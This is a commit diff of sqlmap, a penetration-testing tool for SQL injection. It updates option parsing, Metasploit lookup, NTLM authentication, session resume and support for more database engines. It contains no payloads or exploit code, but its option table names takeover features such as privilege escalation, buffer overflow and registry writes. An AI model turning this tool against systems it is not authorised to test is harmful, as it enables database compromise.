logger.warn(warnMsg)
if msfEnvPathExists != True:
if not msfEnvPathExists:
warnMsg = "sqlmap is going to look for Metasploit Framework 3 "
warnMsg += "installation into the environment paths"
logger.warn(warnMsg)
envPaths = os.environ["PATH"]
if "win" in PLATFORM:
if IS_WIN:
envPaths = envPaths.split(";")
else:
envPaths = envPaths.split(":")
for envPath in envPaths:
envPath = envPath.replace(";", "")
condition = os.path.exists(os.path.normpath(envPath))
condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath))
condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath))
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfcli")))
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfconsole")))
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfencode")))
condition &= os.path.exists(os.path.normpath(os.path.join(envPath, "msfpayload")))
if condition:
infoMsg = "Metasploit Framework 3 has been found "
@@ -348,12 +375,11 @@ def __setMetasploit():
break
if msfEnvPathExists != True:
if not msfEnvPathExists:
errMsg = "unable to locate Metasploit Framework 3 installation. "
errMsg += "Get it from http://metasploit.com/framework/download/"
raise sqlmapFilePathException, errMsg
def __setWriteFile():
if not conf.wFile:
return
@@ -372,9 +398,8 @@ def __setWriteFile():
conf.wFileType = getFileType(conf.wFile)
def __setUnionTech():
if conf.uTech == None:
if conf.uTech is None:
conf.uTech = "NULL"
return
@@ -397,7 +422,6 @@ def __setUnionTech():
debugMsg += "'%s'" % uTechOriginal
logger.debug(debugMsg)
def __setOS():
"""
Force the back-end DBMS operating system option.
@@ -420,7 +444,6 @@ def __setOS():
errMsg += "you."
raise sqlmapUnsupportedDBMSException, errMsg
def __setDBMS():
"""
Force the back-end DBMS option.
@@ -433,8 +456,10 @@ def __setDBMS():
logger.debug(debugMsg)
conf.dbms = conf.dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
if dbmsRegExp:
@@ -449,12 +474,10 @@ def __setDBMS():
errMsg += "fingerprint it for you."
raise sqlmapUnsupportedDBMSException, errMsg
def __setThreads():
if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1
def __setHTTPProxy():
"""
Check and set the HTTP proxy to pass by all HTTP requests.
@@ -465,8 +488,6 @@ def __setHTTPProxy():
if not conf.proxy:
return
parseTargetUrl()
debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
logger.debug(debugMsg)
@@ -488,17 +509,16 @@ def __setHTTPProxy():
# Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
# HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
# can't be tunneled over an HTTP proxy natively by Python urllib2
# standard library
# can't be tunneled over an HTTP proxy natively by Python (<= 2.5)
# urllib2 standard library
if conf.scheme == "https":
proxyHandler = ProxyHTTPSHandler(__proxyString)
else:
proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
def __setHTTPAuthentication():
"""
Check and set the HTTP authentication method (Basic or Digest),
Check and set the HTTP authentication method (Basic, Digest or NTLM),
username and password to perform HTTP requests with.
"""
@@ -508,31 +528,29 @@ def __setHTTPAuthentication():
return
elif conf.aType and not conf.aCred:
errMsg = "you specified the HTTP Authentication type, but "
errMsg = "you specified the HTTP authentication type, but "
errMsg += "did not provide the credentials"
raise sqlmapSyntaxException, errMsg
elif not conf.aType and conf.aCred:
errMsg = "you specified the HTTP Authentication credentials, "
errMsg = "you specified the HTTP authentication credentials, "
errMsg += "but did not provide the type"
raise sqlmapSyntaxException, errMsg
parseTargetUrl()
debugMsg = "setting the HTTP Authentication type and credentials"
debugMsg = "setting the HTTP authentication type and credentials"
logger.debug(debugMsg)
aTypeLower = conf.aType.lower()
if aTypeLower not in ( "basic", "digest" ):
errMsg = "HTTP Authentication type value must be "
errMsg += "Basic or Digest"
if aTypeLower not in ( "basic", "digest", "ntlm" ):
errMsg = "HTTP authentication type value must be "
errMsg += "Basic, Digest or NTLM"
raise sqlmapSyntaxException, errMsg
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
if not aCredRegExp:
errMsg = "HTTP Authentication credentials value must be "
errMsg = "HTTP authentication credentials value must be "
errMsg += "in format username:password"
raise sqlmapSyntaxException, errMsg
@@ -544,9 +562,20 @@ def __setHTTPAuthentication():
if aTypeLower == "basic":
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
elif aTypeLower == "digest":
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
elif aTypeLower == "ntlm":
try:
from ntlm import HTTPNtlmAuthHandler
except ImportError, _:
errMsg = "sqlmap requires Python NTLM third-party library "
errMsg += "in order to authenticate via NTLM, "
errMsg += "http://code.google.com/p/python-ntlm/"
raise sqlmapMissingDependence, errMsg
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
def __setHTTPMethod():
"""
@@ -569,8 +598,10 @@ def __setHTTPMethod():
debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg)
def __setHTTPExtraHeaders():
if conf.hostname:
conf.httpHeaders.append(("Host", conf.hostname))
if conf.headers:
debugMsg = "setting extra HTTP headers"
logger.debug(debugMsg)
@@ -588,7 +619,6 @@ def __setHTTPExtraHeaders():
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@@ -597,6 +627,12 @@ def __defaultHTTPUserAgent():
return "%s (%s)" % (VERSION_STRING, SITE)
# Firefox 3 running on Ubuntu 9.04 updated at April 2009
#return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
# Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
# updated at March 2009
#return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
def __setHTTPUserAgent():
"""
@@ -661,7 +697,6 @@ def __setHTTPUserAgent():
logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
logger.info(logMsg)
def __setHTTPReferer():
"""
Set the HTTP Referer
@@ -673,7 +708,6 @@ def __setHTTPReferer():
conf.httpHeaders.append(("Referer", conf.referer))
def __setHTTPCookies():
"""
Set the HTTP Cookie header
@@ -682,11 +716,12 @@ def __setHTTPCookies():
if conf.cookie:
debugMsg = "setting the HTTP Cookie header"
logger.debug(debugMsg)
conf.cookie = sanitizeCookie(conf.cookie, True)
conf.httpHeaders.append(("Connection", "Keep-Alive"))
conf.httpHeaders.append(("Cookie", conf.cookie))
def __setHTTPTimeout():
"""
Set the HTTP timeout
@@ -709,7 +744,6 @@ def __setHTTPTimeout():
socket.setdefaulttimeout(conf.timeout)
def __cleanupOptions():
"""
Cleanup configuration attributes.
@@ -757,7 +791,6 @@ def __cleanupOptions():
if conf.googleDork or conf.list:
conf.multipleTargets = True
def __setConfAttributes():
"""
This function set some needed attributes into the configuration
@@ -792,7 +825,6 @@ def __setConfAttributes():
conf.threadException = False
conf.wFileType = None
def __setKnowledgeBaseAttributes():
"""
This function set some needed attributes into the knowledge base
@@ -811,7 +843,7 @@ def __setKnowledgeBaseAttributes():
kb.dbmsDetected = False
# Active (extensive) back-end DBMS fingerprint
kb.dbmsVersion = []
kb.dbmsVersion = [ "Unknown" ]
kb.dep = None
kb.docRoot = None
@@ -823,7 +855,7 @@ def __setKnowledgeBaseAttributes():
kb.injType = None
# Back-end DBMS underlying operating system fingerprint via banner (-b)
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
# parsing
kb.os = None
kb.osVersion = None
kb.osSP = None
@@ -837,7 +869,6 @@ def __setKnowledgeBaseAttributes():
kb.unionCount = None
kb.unionPosition = None
def __saveCmdline():
"""
Saves the command line options on a sqlmap configuration INI file
@@ -867,7 +898,7 @@ def __saveCmdline():
optionData.sort()
for option, value, datatype in optionData:
if value == None:
if value is None:
if datatype == "boolean":
value = "False"
elif datatype in ( "integer", "float" ):
@@ -891,13 +922,12 @@ def __saveCmdline():
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg)
def __setVerbosity():
"""
This function set the verbosity of sqlmap output messages.
"""
if conf.verbose == None:
if conf.verbose is None:
conf.verbose = 1
conf.verbose = int(conf.verbose)
@@ -914,7 +944,6 @@ def __setVerbosity():
elif conf.verbose >= 4:
logger.setLevel(8)
def __mergeOptions(inputOptions):
"""
Merge command line options with configuration file options.
@@ -926,10 +955,14 @@ def __mergeOptions(inputOptions):
if inputOptions.configFile:
configFileParser(inputOptions.configFile)
for key, value in inputOptions.__dict__.items():
if not conf.has_key(key) or conf[key] == None or value != None:
conf[key] = value
if hasattr(inputOptions, "items"):
inputOptionsItems = inputOptions.items()
else:
inputOptionsItems = inputOptions.__dict__.items()
for key, value in inputOptionsItems:
if not conf.has_key(key) or conf[key] is None or value is not None:
conf[key] = value
def init(inputOptions=advancedDict()):
"""
@@ -943,6 +976,9 @@ def init(inputOptions=advancedDict()):
__setConfAttributes()
__setKnowledgeBaseAttributes()
__cleanupOptions()
parseTargetUrl()
__setHTTPTimeout()
__setHTTPCookies()
__setHTTPReferer()

View File

@@ -22,20 +22,19 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
optDict = {
# Family: { "parameter_name": "parameter_datatype" },
"Target": {
"url": "string",
"list": "string",
"googleDork": "string",
"googleDork": "string"
},
"Request": {
"method": "string",
"data": "string",
"cookie": "string",
"dropSetCookie": "boolean",
"referer": "string",
"agent": "string",
"userAgentsFile": "string",
@@ -45,7 +44,7 @@ optDict = {
"proxy": "string",
"threads": "integer",
"delay": "float",
"timeout": "float",
"timeout": "float"
},
"Injection": {
@@ -57,7 +56,7 @@ optDict = {
"string": "string",
"regexp": "string",
"eString": "string",
"eRegexp": "string",
"eRegexp": "string"
},
"Techniques": {
@@ -65,11 +64,11 @@ optDict = {
"timeTest": "boolean",
"unionTest": "boolean",
"uTech": "string",
"unionUse": "boolean",
"unionUse": "boolean"
},
"Fingerprint": {
"extensiveFp": "boolean",
"extensiveFp": "boolean"
},
"Enumeration": {
@@ -92,14 +91,21 @@ optDict = {
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string",
"sqlShell": "boolean",
"sqlShell": "boolean"
},
"User-defined function": {
"udfInject": "boolean",
"shLib": "string"
},
"File system": {
"rFile": "string",
"wFile": "string",
"dFile": "string",
"dFile": "string"
},
"Takeover": {
@@ -110,15 +116,26 @@ optDict = {
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
"tmpPath": "string"
},
"Windows": {
"regRead": "boolean",
"regAdd": "boolean",
"regDel": "boolean",
"regKey": "string",
"regVal": "string",
"regData": "string",
"regType": "string"
},
"Miscellaneous": {
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",
"sessionFile": "string",
"eta": "boolean",
"googlePage": "integer",
"updateAll": "boolean",
"batch": "boolean",
"cleanup": "boolean",
"verbose": "integer"
},
}

View File

@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.common import dataToStdout
class ProgressBar:
"""
This class defines methods to update and draw a progress bar
@@ -42,7 +39,6 @@ class ProgressBar:
self.__amount = 0
self.update()
def __convertSeconds(self, value):
seconds = value
minutes = seconds / 60
@@ -50,7 +46,6 @@ class ProgressBar:
return "%.2d:%.2d" % (minutes, seconds)
def update(self, newAmount=0):
"""
This method updates the progress bar
@@ -87,7 +82,6 @@ class ProgressBar:
percentString = str(percentDone) + "%"
self.__progBar = "%s %s" % (percentString, self.__progBar)
def draw(self, eta=0):
"""
This method draws the progress bar if it has changed
@@ -102,7 +96,6 @@ class ProgressBar:
blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max)))
dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank))
def __str__(self):
"""
This method returns the progress bar string

View File

@@ -27,14 +27,12 @@ In addition to normal readline stuff, this module provides haveReadline
boolean and _outputfile variable used in genutils.
"""
import sys
from lib.core.data import logger
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM
try:
from readline import *
import readline as _rl
@@ -49,7 +47,7 @@ except ImportError:
except ImportError:
haveReadline = False
if 'win' in PLATFORM and haveReadline:
if IS_WIN and haveReadline:
try:
_outputfile=_rl.GetOutputFile()
except AttributeError:
@@ -78,7 +76,6 @@ if PLATFORM == 'darwin' and haveReadline:
uses_libedit = True
# the clear_history() function was only introduced in Python 2.4 and is
# actually optional in the readline API, so we must explicitly check for its
# existence. Some known platforms actually don't have it. This thread:

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import dataToSessionFile
@@ -34,7 +32,8 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
def setString():
"""
@@ -49,7 +48,6 @@ def setString():
if condition:
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp():
"""
Save regular expression to match in session file.
@@ -63,7 +61,6 @@ def setRegexp():
if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setMatchRatio():
condition = (
not kb.resumedQueries
@@ -74,7 +71,6 @@ def setMatchRatio():
if condition:
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
def setInjection():
"""
Save information retrieved about injection place and parameter in the
@@ -98,7 +94,6 @@ def setInjection():
dataToSessionFile("[%s][%s][%s][Injection parameter][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injParameter))
dataToSessionFile("[%s][%s][%s][Injection type][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.injType))
def setParenthesis(parenthesisCount):
"""
@param parenthesisCount: number of parenthesis to be set into the
@@ -116,7 +111,6 @@ def setParenthesis(parenthesisCount):
kb.parenthesis = parenthesisCount
def setDbms(dbms):
"""
@param dbms: database management system to be set into the knowledge
@@ -133,8 +127,10 @@ def setDbms(dbms):
if condition:
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
if dbmsRegExp:
@@ -144,7 +140,6 @@ def setDbms(dbms):
logger.info("the back-end DBMS is %s" % kb.dbms)
def setOs():
"""
Example of kb.bannerFp dictionary:
@@ -183,7 +178,7 @@ def setOs():
elif "sp" not in kb.bannerFp and kb.os == "Windows":
kb.osSP = 0
if kb.os and kb.osVersion:
if kb.os and kb.osVersion and kb.osSP:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
@@ -192,7 +187,6 @@ def setOs():
if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
def setStacked():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
@@ -205,7 +199,6 @@ def setStacked():
if condition:
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
def setUnion(comment=None, count=None, position=None):
"""
@param comment: union comment to save in session file
@@ -245,7 +238,6 @@ def setUnion(comment=None, count=None, position=None):
kb.unionPosition = position
def setRemoteTempPath():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
@@ -255,18 +247,6 @@ def setRemoteTempPath():
if condition:
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
def setDEP():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("DEP") )
)
if condition:
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url:
string = value[:-1]
@@ -368,20 +348,23 @@ def resumeConfKb(expression, url, value):
logger.info(logMsg)
elif expression == "DBMS" and url == conf.url:
dbms = value[:-1]
dbms = value[:-1]
dbms = dbms.lower()
dbmsVersion = None
logMsg = "resuming back-end DBMS '%s' " % dbms
logMsg += "from session file"
logger.info(logMsg)
dbms = dbms.lower()
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]))
firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
if dbmsRegExp:
dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [ dbmsRegExp.group(2) ]
dbms = dbmsRegExp.group(1)
dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms
@@ -392,9 +375,11 @@ def resumeConfKb(expression, url, value):
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.dbms = dbms
conf.dbms = dbms
kb.dbmsVersion = dbmsVersion
else:
conf.dbms = dbms
conf.dbms = dbms
kb.dbmsVersion = dbmsVersion
elif expression == "OS" and url == conf.url:
os = value[:-1]
@@ -451,10 +436,3 @@ def resumeConfKb(expression, url, value):
logMsg = "resuming remote absolute path of temporary "
logMsg += "files directory '%s' from session file" % conf.tmpPath
logger.info(logMsg)
elif expression == "DEP" and url == conf.url:
kb.dep = value[:-1]
logMsg = "resuming DEP system policy value '%s' " % kb.dep
logMsg += "from session file"
logger.info(logMsg)

View File

@@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import logging
import os
import subprocess
import sys
# sqlmap version and site
VERSION = "0.7rc1"
VERSION = "0.8-rc3"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
@@ -47,6 +44,7 @@ LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN)
# System variables
IS_WIN = subprocess.mswindows
PLATFORM = sys.platform.lower()
PYVERSION = sys.version.split()[0]

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import atexit
import os
import rlcompleter
@@ -33,19 +31,16 @@ from lib.core.data import kb
from lib.core.data import paths
from lib.core.data import queries
def saveHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
readline.write_history_file(historyPath)
def loadHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
if os.path.exists(historyPath):
readline.read_history_file(historyPath)
def queriesForAutoCompletion():
autoComplQueries = {}
@@ -61,7 +56,6 @@ def queriesForAutoCompletion():
return autoComplQueries
class CompleterNG(rlcompleter.Completer):
def global_matches(self, text):
"""
@@ -73,14 +67,13 @@ class CompleterNG(rlcompleter.Completer):
matches = []
n = len(text)
for list in [ self.namespace ]:
for word in list:
for ns in [ self.namespace ]:
for word in ns:
if word[:n] == text:
matches.append(word)
return matches
def autoCompletion(sqlShell=False, osShell=False):
# First of all we check if the readline is available, by default
# it is not in Python default installation on Windows

View File

@@ -22,20 +22,20 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import fcntl
import errno
import os
import sys
import time
from lib.core.settings import IS_WIN
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
if not IS_WIN:
import fcntl
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd):
# Quick twist around original Twisted function
@@ -58,8 +58,7 @@ def blockingReadFromFD(fd):
if not output:
raise EOFError, "fd %s has been closed." % fd
return output
return output
def blockingWriteToFD(fd, data):
# Another quick twist
@@ -78,12 +77,12 @@ def blockingWriteToFD(fd, data):
break
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)
if IS_WIN is not True:
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)

View File

@@ -22,17 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
import time
from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl
from lib.core.common import readInput
from lib.core.convert import urldecode
from lib.core.common import sanitizeCookie
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -43,7 +39,6 @@ from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapSyntaxException
from lib.core.session import resumeConfKb
def __setRequestParams():
"""
Check and set the parameters and perform checks on 'data' option for
@@ -67,21 +62,20 @@ def __setRequestParams():
raise sqlmapSyntaxException, errMsg
if conf.data:
urlDecodedData = urldecode(conf.data).replace("%", "%%")
conf.parameters["POST"] = urlDecodedData
__paramDict = paramToDict("POST", urlDecodedData)
conf.parameters["POST"] = conf.data
__paramDict = paramToDict("POST", conf.data)
if __paramDict:
conf.paramDict["POST"] = __paramDict
__testableParameters = True
conf.method = "POST"
# Perform checks on Cookie parameters
if conf.cookie:
# TODO: sure about decoding the cookie?
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
urlDecodedCookie = conf.cookie.replace("%", "%%")
conf.parameters["Cookie"] = urlDecodedCookie
__paramDict = paramToDict("Cookie", urlDecodedCookie)
conf.cookie = sanitizeCookie(conf.cookie)
conf.parameters["Cookie"] = conf.cookie
__paramDict = paramToDict("Cookie", conf.cookie)
if __paramDict:
conf.paramDict["Cookie"] = __paramDict
@@ -91,7 +85,8 @@ def __setRequestParams():
if conf.httpHeaders:
for httpHeader, headerValue in conf.httpHeaders:
if httpHeader == "User-Agent":
conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%")
# No need for url encoding/decoding the user agent
conf.parameters["User-Agent"] = headerValue
condition = not conf.testParameter
condition |= "User-Agent" in conf.testParameter
@@ -113,13 +108,17 @@ def __setRequestParams():
errMsg += "within the GET, POST and Cookie parameters"
raise sqlmapGenericException, errMsg
def __setOutputResume():
"""
Check and set the output text file and the resume functionality.
"""
if conf.sessionFile and os.path.exists(conf.sessionFile):
if not conf.sessionFile:
conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
logger.info("using '%s' as session file" % conf.sessionFile)
if os.path.exists(conf.sessionFile):
readSessionFP = open(conf.sessionFile, "r")
lines = readSessionFP.readlines()
@@ -157,14 +156,12 @@ def __setOutputResume():
readSessionFP.close()
if conf.sessionFile:
try:
conf.sessionFP = open(conf.sessionFile, "a")
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
except IOError:
errMsg = "unable to write on the session file specified"
raise sqlmapFilePathException, errMsg
try:
conf.sessionFP = open(conf.sessionFile, "a")
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
except IOError:
errMsg = "unable to write on the session file specified"
raise sqlmapFilePathException, errMsg
def __createFilesDir():
"""
@@ -179,7 +176,6 @@ def __createFilesDir():
if not os.path.isdir(conf.filePath):
os.makedirs(conf.filePath, 0755)
def __createDumpDir():
"""
Create the dump directory.
@@ -193,6 +189,23 @@ def __createDumpDir():
if not os.path.isdir(conf.dumpPath):
os.makedirs(conf.dumpPath, 0755)
def createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
dumper.setOutputFile()
__createDumpDir()
__createFilesDir()
def initTargetEnv():
"""
@@ -216,22 +229,3 @@ def initTargetEnv():
parseTargetUrl()
__setRequestParams()
__setOutputResume()
def createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
dumper.setOutputFile()
__createDumpDir()
__createFilesDir()

View File

@@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
class Unescaper:
def __init__(self):
self.__unescaper = None
def setUnescape(self, unescapeFunction):
self.__unescaper = unescapeFunction
def unescape(self, expression, quote=True):
return self.__unescaper(expression, quote=quote)
unescaper = Unescaper()

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import difflib
import os
import re
@@ -48,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL
from lib.core.settings import VERSION
from lib.request.connect import Connect as Request
def __updateMSSQLXML():
infoMsg = "updating Microsoft SQL Server XML versions file"
logger.info(infoMsg)
@@ -109,12 +106,15 @@ def __updateMSSQLXML():
servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")]
if servicePack.startswith("+"):
servicePack = "0%s" % servicePack
servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("Service Pack", "")
servicePack = servicePack.replace("<a href=\"http:", "")
if servicePack.endswith(" "):
@@ -196,7 +196,6 @@ def __updateMSSQLXML():
infoMsg += "last update"
logger.info(infoMsg)
def __createFile(pathname, data):
mkpath(os.path.dirname(pathname))
@@ -204,8 +203,7 @@ def __createFile(pathname, data):
fileFP.write(data)
fileFP.close()
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
def __extractZipFile(tempDir, zipFile):
# Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile):
sqlmapZipFile = zipfile.ZipFile(zipFile)
@@ -218,7 +216,6 @@ def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
data = sqlmapZipFile.read(info.filename)
__createFile(os.path.join(tempDir, info.filename), data)
def __updateSqlmap():
infoMsg = "updating sqlmap"
logger.info(infoMsg)
@@ -285,13 +282,11 @@ def __updateSqlmap():
tempDir = tempfile.gettempdir()
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
__createFile(zipFile, sqlmapBinaryString)
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion)
__extractZipFile(tempDir, zipFile)
# For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the
# sqlmap root path in the end
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release
if '.svn' in root:
continue
@@ -331,7 +326,6 @@ def __updateSqlmap():
infoMsg = "sqlmap updated successfully"
logger.info(infoMsg)
def update():
if not conf.updateAll:
return

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax import parse
@@ -35,7 +33,6 @@ from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
class MSSQLBannerHandler(ContentHandler):
"""
This class defines methods to parse and extract information from the
@@ -51,7 +48,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__servicePack = ""
